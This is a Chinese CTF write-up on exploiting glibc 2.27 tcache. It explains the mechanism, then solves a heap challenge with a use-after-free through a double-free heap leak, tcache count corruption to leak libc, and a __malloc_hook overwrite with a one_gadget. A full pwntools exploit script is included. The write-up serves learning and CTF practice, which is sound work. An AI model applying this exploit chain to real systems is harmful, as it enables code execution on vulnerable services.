Tcache

概念

类似常见的fastbinunsortedbin,但是相比他们优先级要高很多

其结构一般都会在堆块的起始位置存在一个结构体,其中包含着tcache bins的各种范围的bins数量,以及一个控制器,可以理解为是tcache的fd指针,控制着下一个堆块的地址

利用手法

  • tcache的范围在0x410以内,大于他后就会放到正常的unsorted中

  • free某个tcache超过7次,也就是将存放在tcache结构体中的该范围bins的数量占满,后续free的堆块就会放到其应该放到的地方

  • 直接修改tcache中的数量标志位(类似 0x0700000000000000)

    • 要先确定某范围的bins数量的标志位所在的位置

例题分析

程序分析

保护全开得堆题,常见的增删改查功能

add添加堆块得函数中可以看到,最多只能申请7个堆块,且每个堆块不能大于1024

主要漏洞点在delete函数,free完堆块后未对其进行清空,造成uaf漏洞

但是在初步的uaf exp写完后本地很快就通了,打远程时却发现出了问题,根本通不了。。。后面才意识到是libc版本的问题,远程的是2.27,所以存在tcache机制

利用思路

因此我们就要采用针对tcache得手段来重写exp了

首先我们使用patchelf工具来修改本地程序的libc加载版本(libc的加载器ld文件可以通过确定libc版本后使用glibc-all-in-one来下载)

1
2
➜  box sudo patchelf --set-interpreter ./ld-2.27.so ./pwn
➜ box sudo patchelf --replace-needed libc.so.6 ./libc-2.27.so ./pwn

  1. 之后就是开始利用,先申请两个堆块,用于泄露堆的起始地址,第二个,堆块用于防止与topchunk_合并

    1
    2
    add(0,0x80,"A"*8)
        add(1,0x80,"B"*8)
  2. 由于低版本的tcache未作过多安全防护的原因,所以可以直接double free,进而得到堆块的地址

    1
    2
    3
    4
    5
    dele(0)
    dele(0)
    show(0)
    sh.recvuntil("it :")
        heap_addr = u64(sh.recv(6).ljust(8,"\x00"))-0x260
  3. 接下来申请的chunk_2堆块则可以落到上面free的chunk_0上面,而由于doublefree的缘故,只要将fd位置修改位某个地址,之后正在申请一次堆块,那么下次申请的堆块就可以落到该地址上。

    而这里申请的地址为heap_addr+0x10的原因则是因为,这个地址该地址控制着tcache中0x90大小的bins数量,由于tcache的特性,一个范围的堆块超过7个之后,便可以申请到unsorted bins中(当然是大于0x80的堆块)

    1
    2
    add(2,0x80,p64(heap_addr+0x10))
        add(3,0x80,"D"*8)
  4. 现在将申请chunk_4,就按照上图中的结构来布局tcache中的数据,最后面的heap_addr + 0x88是为了下次申请堆块时继续控制该地址从而在下下次申请堆块落到指定地址

    1
    2
    3
    4
    payload1 = p64(0x0700000000000000)
    payload1 += "\x00"*0x70
    payload1 += p64(heap_addr + 0x88)
        add(4,0x80,payload1)
  5. 之后再次free掉的0x80地址便是在unsorted中的地址了,进而带出libc_base\malloc_hook\one_gg的地址来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    dele(0)
    show(0)
    sh.recvuntil(" :")
    main_arena96 = u64(sh.recv(6).ljust(8,"\x00"))
    success("heap_addr => 0x%x",heap_addr)
    success("main_arena96 => 0x%x",main_arena96)
    fake_chunk = main_arena96-96-0x33
    malloc_hook = main_arena96-96-0x10
    libc_base = malloc_hook - libc.sym["__malloc_hook"]
    one_gg = one_ggs[2]+libc_base
    success("malloc_hook => 0x%x",malloc_hook)
    success("libc_base => 0x%x",libc_base)
        success("one_gg = > 0x%x",one_gg)
  6. 最后就只需要再重复一次上面的操作,将地址申请到malloc_hook即可完成利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    payload2 = p64(0x0700000000000000)
    payload2 += "\x00"*0x70
    payload2 += p64(malloc_hook)
    edit(4,payload2)
    add(5,0x80,"5")
    edit(5,p64(one_gg))
    sh.sendlineafter(">>","1")
    sh.recvuntil("index:\n")
    sh.sendline("6")
    sh.recvuntil("size:\n")
        sh.sendline("2")
    image-20210510151935364

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def add(idx,size,data):
        sh.sendlineafter(">>","1")
        sh.recvuntil("index:\n")
        sh.sendline(str(idx))
        sh.recvuntil("size:\n")
        sh.sendline(str(size))
        sh.recvuntil("data:\n")
        sh.sendline(str(data))
    def edit(idx,data):
        sh.sendlineafter(">>","2")
        sh.recvuntil("index:\n")
        sh.sendline(str(idx))
        sh.recvuntil("data:\n")
        sh.sendline(str(data))
    def dele(idx):
        sh.sendlineafter(">>","3")
        sh.recvuntil("index:\n")
        sh.sendline(str(idx))
    def show(idx):
        sh.sendlineafter(">>","4")
        sh.recvuntil("index:\n")
        sh.sendline(str(idx))
    # debug()
    add(0,0x80,"A"*8)
    add(1,0x80,"B"*8)
    dele(0)
    dele(0)
    show(0)
    sh.recvuntil("it :")
    heap_addr = u64(sh.recv(6).ljust(8,"\x00"))-0x260
    add(2,0x80,p64(heap_addr+0x10))
    add(3,0x80,"D"*8)
    payload1 = p64(0x0700000000000000)
    payload1 += "\x00"*0x70
    payload1 += p64(heap_addr + 0x88)
    add(4,0x80,payload1)
    # debug()
    # debug()
    # for i in range(6):
    #     dele(0)
    dele(0)
    show(0)
    sh.recvuntil(" :")
    main_arena96 = u64(sh.recv(6).ljust(8,"\x00"))
    success("heap_addr => 0x%x",heap_addr)
    success("main_arena96 => 0x%x",main_arena96)
    fake_chunk = main_arena96-96-0x33
    malloc_hook = main_arena96-96-0x10
    libc_base = malloc_hook - libc.sym["__malloc_hook"]
    one_gg = one_ggs[2]+libc_base
    success("malloc_hook => 0x%x",malloc_hook)
    success("libc_base => 0x%x",libc_base)
    success("one_gg = > 0x%x",one_gg)
    payload2 = p64(0x0700000000000000)
    payload2 += "\x00"*0x70
    payload2 += p64(malloc_hook)
    edit(4,payload2)
    add(5,0x80,"5")
    edit(5,p64(one_gg))
    sh.sendlineafter(">>","1")
    sh.recvuntil("index:\n")
    sh.sendline("6")
    sh.recvuntil("size:\n")
    sh.sendline("2")